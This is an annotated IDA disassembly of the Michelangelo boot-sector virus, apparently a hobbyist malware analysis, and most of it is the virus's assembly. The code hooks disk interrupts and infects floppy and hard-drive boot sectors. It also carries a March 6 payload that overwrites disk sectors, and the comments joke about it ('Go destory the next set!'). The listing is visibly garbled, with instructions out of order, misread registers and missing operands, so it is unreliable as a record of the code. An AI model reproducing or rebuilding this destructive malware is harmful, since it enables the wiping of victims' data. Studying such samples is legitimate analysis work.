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seg000:7C00;
seg000:7C00 ; +----
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seg000:7C00 ; +-----
seg000:7C00 ;
seg000:7C00; Input SHA256: B8A70F4A55E3EF8F59363FDF1F6ECD8761F3B8CEF8DB122EB0B2081B8C4CCD0E
seg000:7C00
seg000:7C00 ; ------
seg000:7C00 ; File Name : C:\Users\golden\Documents\Downloads\michelangelo-sample\michelangelo.1
seg000:7C00 ; Format : Binary file
seg000:7C00 ; Base Address: 0000h Range: 0000h - 0200h Loaded length: 0200h
seg000:7C00
seg000:7C00
                           .686p
seg000:7C00
                           .mmx
seg000:7C00
                           .model small
seg000:7C00
seg000:7C00 ; ------
seg000:7C00
seg000:7C00 ; Segment type: Pure code
seg000:7C00 seg000 segment byte public 'CODE' use16
seg000:7C00
                          assume cs:seg000
seg000:7C00
                          org 7C00h
seg000:7C00 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing seg000:7C00 jmp loc_7CAF; before anything, jump here seg000:7C00;

      seg000:7C03 unk_7C03
      db 0F5h
      ; DATA XREF: seg000:7CF0↓r

      seg000:7C04
      db 0

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      db 0

      seg000:7C05 word_7C05
      dw 0
      ; DATA XREF: seg000:7CD8↓w

      seg000:7C07
      db 2

      seg000:7C08
      dw 0Eh

      seg000:7C0A dword_7C0A
      dd 0F0009739h
      ; DATA XREF: seg000:7CC1↓w

      seg000:7CC7↓w
      ; seg000:7CC7↓w

seg000:7C0E ; ------
seg000:7C0E
                 push ds
                                  ax ; saves ax and ds to the stack dl, dl : check date ? ?
seg000:7C0F
                          push
seg000:7C10
                                  or
seg000:7C12
                           jnz
                                  ax, ax ; zero out ax ds, ax ; assign data segment to 0 byte ptr ds:43Fh, 1; is the motor already running?
seg000:7C14
                          xor
seg000:7C16
                           mov
seg000:7C18
                          test
seg000:7C1D
                           jnz
                                  short loc_7C2F ; Yes? Hand off to the real handler.
seg000:7C1F
                           pop
                                  ax
seg000:7C20
                                                 ; No? Continue by restoring ax and ds
                           pop
seg000:7C21
                          pushf
                                                 ; save the flags
seg000:7C22
                          call
                                  dword ptr cs:0Ah; call the real int13 handler
                                  ; save all the flags
sub_7C36 : Start +h
seg000:7C27
                           pushf
                                                ; Start the infection call
seg000:7C28
                           call
seg000:7C2B
                          popf
                                                 ; restore flags
seg000:7C2C
                                                 ; return to original function and discard the flags
seg000:7C2F ; ------
seg000:7C2F
seg000:7C2F loc 7C2F:
                                                 ; CODE XREF: seg000:7C12↑j
seg000:7C2F
                                                 ; seg000:7C1D1j
seg000:7C2F
                          pop
seg000:7C30
                           pop
                                  ds
                                                 ; restore ax, ds
seg000:7C31
                           jmp
                                  dword ptr cs:0Ah; calls the real handler
seg000:7C36
seg000:7C36 ; ======== S U B R O U T I N E ==================
seg000:7C36
seg000:7C36
seg000:7C36 sub 7C36
                                                 ; CODE XREF: seg000:7C281p
                          proc near
seg000:7C36
                           push
                                  ax
seg000:7C37
                          push
                                  bx
seg000:7C38
                          push
                                  СX
seg000:7C39
                                  dx
                           push
seg000:7C3A
                           push
                                  ds
seg000:7C3B
                           push
                                  es
seg000:7C3C
                                  si
                           push
seg000:7C3D
                           push
                                                 ; save all the registers to the stack
                                                 ; save cs to the stack so
seg000:7C3E
                           push
                                  CS
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IDA - michelangelo.1.idb (michelangelo.1) C:\Users\golden\Documents\Downloads\michelangelo-sample\michelangelo.1.idb
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 seg000:7C3F
                                                     ; when we pop ds,,, ds == cs
 seg000:7C40
                             push
                                     cs
 seg000:7C41
                             pop
                                     es
                                                     ; repeat it again, but this time for es
 seg000:7C42
                             mov
                                     si, 4
                                                     ; read operations now run four times
 seg000:7C45
 seg000:7C45 loc_7C45:
                                                    ; CODE XREF: sub_7C36+29↓j
 seg000:7C45
                                                   ; read one sector
                             mov
                                     ax, 201h
                                                    ; buffer is now 200h after the virus. (200h = 512 bytes)
 seg000:7C48
                             mov
                                     bx, 200h
 seg000:7C4B
                                                     ; ch = 0, cl = 1 | | | a.k.a. ready track 0, sector 1
                             mov
                                     cx, 1
 seg000:7C4E
                                     dx, dx
                                                     ; zero out dx, so dh && dl = 0. ||| dh is head number and dl is the drive
                             xor
 seg000:7C50
                             pushf
                                                     ; save flags
 seg000:7C51
                             call
                                     dword ptr ds:0Ah ; call real handler for boot
                                     short loc_7C63 ; if read happened, jump here
 seg000:7C55
                             jnb
 seg000:7C57
                             xor
                                     ax, ax
                                                    ; zero out the ax
                                                     ; save flags
 seg000:7C59
                             pushf
 seg000:7C5A
                             call
                                     dword ptr ds:0Ah; call the real handler upon reset
                                                    ; decrement read operations attempts
 seg000:7C5E
                                     si
                             dec
 seg000:7C5F
                             jnz
                                     short loc_7C45 ; loop back until si = 0
 seg000:7C61
                             jmp
                                     short loc_7CA6 ; Give up on infecting
 seg000:7C63 ; -----
 seg000:7C63
 seg000:7C63 loc_7C63:
                                                     ; CODE XREF: sub_7C36+1F↑j
 seg000:7C63
                             xor
                                     si, si
                                                     ; zero out si, to read the beginning of the virus
 seg000:7C65
                             cld
                                                     ; change system to increment si instead of decrement
                                                     ; load the first bit of data at [ds:si]
 seg000:7C66
                             lodsw
 seg000:7C67
                                     ax, [bx]
                                                     ; does beginning of the virus match the first bytes on the floppy?
                             cmp
 seg000:7C69
                                     short loc_7C71 ; No?? Begin infection process
                             jnz
                                                     ; try the second set of data [di + 1:si + 1]
 seg000:7C6B
                             lodsw
                                                     ; Repeat first compare, but on second data
 seg000:7C6C
                             cmp
                                     ax, [bx+2]
 seg000:7C6F
                                     short loc_7CA6 ; No, this time? Jump and infect!
                             jz
 seg000:7C71
 seg000:7C71 loc_7C71:
                                                     ; CODE XREF: sub_7C36+33↑j
                                     ax, 301h
 seg000:7C71
                                                     ; make ax the write function. (Ready to write one sector)
                             mov
 seg000:7C74
                             mov
                                     dh, 1
                                                     ; assign dh (head #) to 1
 seg000:7C76
                                                     ; assign cl to 3, so cx = 0 3. track 0, sector 3
                                     cl, 3
                             mov
 seg000:7C78
                             cmp
                                     byte ptr [bx+15h], 0FDh ; examine media descriptor in boot code
 seg000:7C7C
                                     short loc_7C80 ; its a 360k floppy, backup location is good to go
                             jz
 seg000:7C7E
                             mov
                                                     ; non-360k floppy, adjust backup location to 14th sector
 seg000:7C80
 seg000:7C80 loc_7C80:
                                                     ; CODE XREF: sub_7C36+461j
 seg000:7C80
                                     ds:8, cx
                                                     ; save backup boot sector inside the virus body
                             mov
 seg000:7C84
                                                     ; save flags
                             pushf
 seg000:7C85
                             call
                                     dword ptr ds:0Ah ; call teh real handler to rewrite the boot sector
 seg000:7C89
                             jb
                                     short loc_7CA6 ; error? Abort! jump and quit infection
 seg000:7C8B
                                                    ; source of copy. ds:si (partition table: signature)
                             mov
                                     si, 3BEh
 seg000:7C8E
                                                    ; destination of the copy es:di (partition table/ signature)
                             mov
                                     di, 1BEh
 seg000:7C91
                                     cx, 21h ; '!'
                                                   ; copy 33 words or 66 bytes
                             mov
 seg000:7C94
                                                     ; start incrementing si, ds
                             cld
 seg000:7C95
                                                     ; start copy
                             rep movsw
                                     ax, 301h
 seg000:7C97
                                                     ; write to one sector
                             mov
 seg000:7C9A
                             xor
                                     bx, bx
                                                    ; zero out bx, because es:bx is the buffer. es:0000 is the start of the vi
 seg000:7C9C
                             mov
                                     cx, 1
                                                    ; write one sector
                                                     ; zero out dx, to use floppy A
 seg000:7C9F
                             xor
                                     dx, dx
 seg000:7CA1
                             pushf
                                                     ; save flags
 seg000:7CA2
                                     dword ptr ds:0Ah ; call the real int13 to overwrite the boot sector
                             call
 seg000:7CA6
 seg000:7CA6 loc_7CA6:
                                                     ; CODE XREF: sub_7C36+2B↑j
 seg000:7CA6
                                                     ; sub_7C36+39↑j ...
 seg000:7CA6
                             pop
                                     di
 seg000:7CA7
                             pop
                                     si
 seg000:7CA8
                             pop
                                     es
 seg000:7CA9
                             pop
                                     ds
 seg000:7CAA
                                     dx
                             pop
 seg000:7CAB
                             pop
                                     cx
 seg000:7CAC
                             pop
                                     hx
 seg000:7CAD
                             pop
                                     ax
 seg000:7CAE
                                                     ; End Infection, heh sucker!
                             retn
 seg000:7CAE sub_7C36
                             endp
 seg000:7CAE
 seg000:7CAF ; ------
 seg000:7CAF
 seg000:7CAF loc_7CAF:
                                                     ; CODE XREF: seg000:7C00↑j
 seg000:7CAF
                             xor
                                     ax, ax
 seg000:7CB1
                             mov
                                                     ; zero out ax, and make ds = 0
                                     ds, ax
 seg000:7CB3
                                                     ; turn off interrupts
                             cli
 seg000:7CB4
                             mov
                                     ss, ax
                                                     ; stack segment = 0
 seg000:7CB6
                             mov
                                     ax, 7C00h
                                                     ; assign ax 7C00, the load address of the virus
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seg000:7D42
                                                    ; CL = year in BCD
seg000:7D42
                                                    ; CH = century (19h or 20h)
                                                    ; Is it March 6th?
seg000:7D44
                                    dx, 306h
                            cmp
seg000:7D48
                            jz
                                    short loc 7D4B ; Yes?! Time to get to work!!
seg000:7D4A
                            retf
                                                    ; No?... Man, go back to what you were doing then...
seg000:7D4B ; -----
seg000:7D4B
seg000:7D4B loc_7D4B:
                                                    ; CODE XREF: seg000:7D481j
seg000:7D4B
                            xor
                                    dx, dx
                                                    ; set dx to head 0, drive A
seg000:7D4D
                                    cx, 1
                                                    ; set cx to track 0, sector 1
                            mov
seg000:7D50
seg000:7D50 loc_7D50:
                                                    ; CODE XREF: seg000:7D7F↓j
seg000:7D50
                                                    ; seg000:7D85↓j
seg000:7D50
                            mov
                                    ax, 309h
                                                    ; write 9 sectors
seg000:7D53
                                                    ; get the backup boot sector.
                            mov
                                    si, ds:8
seg000:7D57
                                    si, 3
                                                    ; 360k floppy??
                            cmp
seg000:7D5A
                                    short loc_7D6C ; Yes? jump ahead.
                            jz
seg000:7D5C
                            mov
                                    al, 0Eh
seg000:7D5E
                            cmp
                                    si, 0Eh
                                                    ; check to test non-360k floppy
seg000:7D61
                                    short loc_7D6C ; yes? Continue on
                            jz
seg000:7D63
                            mov
                                    dl, 80h
                                                    ; Set dx to the first hard drive
seg000:7D65
                                    byte ptr ds:7, 4; assign disk heads to 4
                            mov
                                                    ; since its a hard drive, write 17 sectors instead
seg000:7D6A
                            mov
                                    al, 11h
seg000:7D6C
seg000:7D6C loc_7D6C:
                                                    ; CODE XREF: seg000:7D5A1j
seg000:7D6C
                                                    ; seg000:7D61↑j
seg000:7D6C
                                    bx, 5000h
                                                    ; random number for offset>
                            mov
seg000:7D6F
                                                    ; random number for segment>
                            mov
                                    es, bx
seg000:7D71
                            assume es:nothing
seg000:7D71
                                                    ; DISK - WRITE SECTORS FROM MEMORY
                            int
                                    13h
seg000:7D71
                                                    ; AL = number of sectors to write, CH = track, CL = sector
seg000:7D71
                                                    ; DH = head, DL = drive, ES:BX -> buffer
                                    ; Return: CF set on error, AH = status, AL = number of sectors written short loc_7D79 ; no error? skip the reset of disk controller
seg000:7D71
seg000:7D73
                            jnb
seg000:7D75
                                                    ; zero out ah, for the controller reset
                            xor
                                    ah, ah
seg000:7D77
                            int
                                    13h
                                                    ; DISK - RESET DISK SYSTEM
seg000:7D77
                                                    ; DL = drive (if bit 7 is set both hard disks and floppy disks reset)
seg000:7D79
seg000:7D79 loc_7D79:
                                                    ; CODE XREF: seg000:7D73↑j
seg000:7D79
                                                    ; go to the next head
                            inc
                                    dh
                                    dh, ds:7
seg000:7D7B
                                                    ; have we gone through all the heads?
                            cmp
seg000:7D7F
                                    short loc_7D50 ; No? then why stop now, loop back
                            jb
                                    dh, dh \,\, ; reset head # back to 0 \,
seg000:7D81
                            xor
seg000:7D83
                            inc
                                    ch
                                                    ; increment the track number by 1
seg000:7D85
                                    short loc_7D50 ; Go destory the next set! Man, I love my job
                            jmp
seg000:7D87 ; -----
seg000:7D87
seg000:7D87 loc_7D87:
                                                    ; CODE XREF: seg000:7D3611
seg000:7D87
                                                    ; seg000:7D3C1j
seg000:7D87
                                                    ; back up boot is at sector 7. CX = ? 7
                                    cx, 7
                            mov
seg000:7D8A
                            mov
                                    ds:8, cx
                                                    ; save the backup boot to the virus body
seg000:7D8E
                                    ax, 301h
                                                    ; write one sector
                            mov
seg000:7D91
                            mov
                                    dx, 80h
                                                    ; targetting the first hard drive
seg000:7D94
                                                    ; DISK - WRITE SECTORS FROM MEMORY
                            int
                                    13h
seg000:7D94
                                                    ; AL = number of sectors to write, CH = track, CL = sector
seg000:7D94
                                                    ; DH = head, DL = drive, ES:BX -> buffer
seg000:7D94
                                                    ; Return: CF set on error, AH = status, AL = number of sectors written
seg000:7D96
                            jb
                                    short loc_7D3E ; Error? Is it my Birthday>
seg000:7D98
                                                    ; getting the partition table from the uninfected boot sector
                            mov
                                    si, 3BEh
seg000:7D9B
                            mov
                                    di, 1BEh
                                                    ; picking the destination, the later half of the virus body
                                    cx, 21h; '!'
seg000:7D9E
                                                    ; copy 33 words, or 66 bytes
                            mov
seg000:7DA1
                            rep movsw
                                                    ; perform the copy
                                    ax, 301h
                                                    ; write one sector
seg000:7DA3
                            mov
seg000:7DA6
                            xor
                                                    ; Prepare to copy from high memory
                                    bx, bx
seg000:7DA8
                                                    ; increment to copy sector 1
                            inc
                                    c1
seg000:7DAA
                                                    ; DISK - WRITE SECTORS FROM MEMORY
                            int
seg000:7DAA
                                                    ; AL = number of sectors to write, CH = track, CL = sector
seg000:7DAA
                                                    ; DH = head, DL = drive, ES:BX -> buffer
seg000:7DAA
                                                    ; Return: CF set on error, AH = status, AL = number of sectors written
seg000:7DAC
                                    short loc_7D3E ; Error? Is it my Birthday?
                            jmp
seg000:7DAC ; -----
seg000:7DAE
                            db 50h dup(0), 55h, 0AAh ; Signature of boot sector and end of virus
seg000:7DAE seg000
                            ends
seg000:7DAE
seg000:7DAE
seg000:7DAE
                            end
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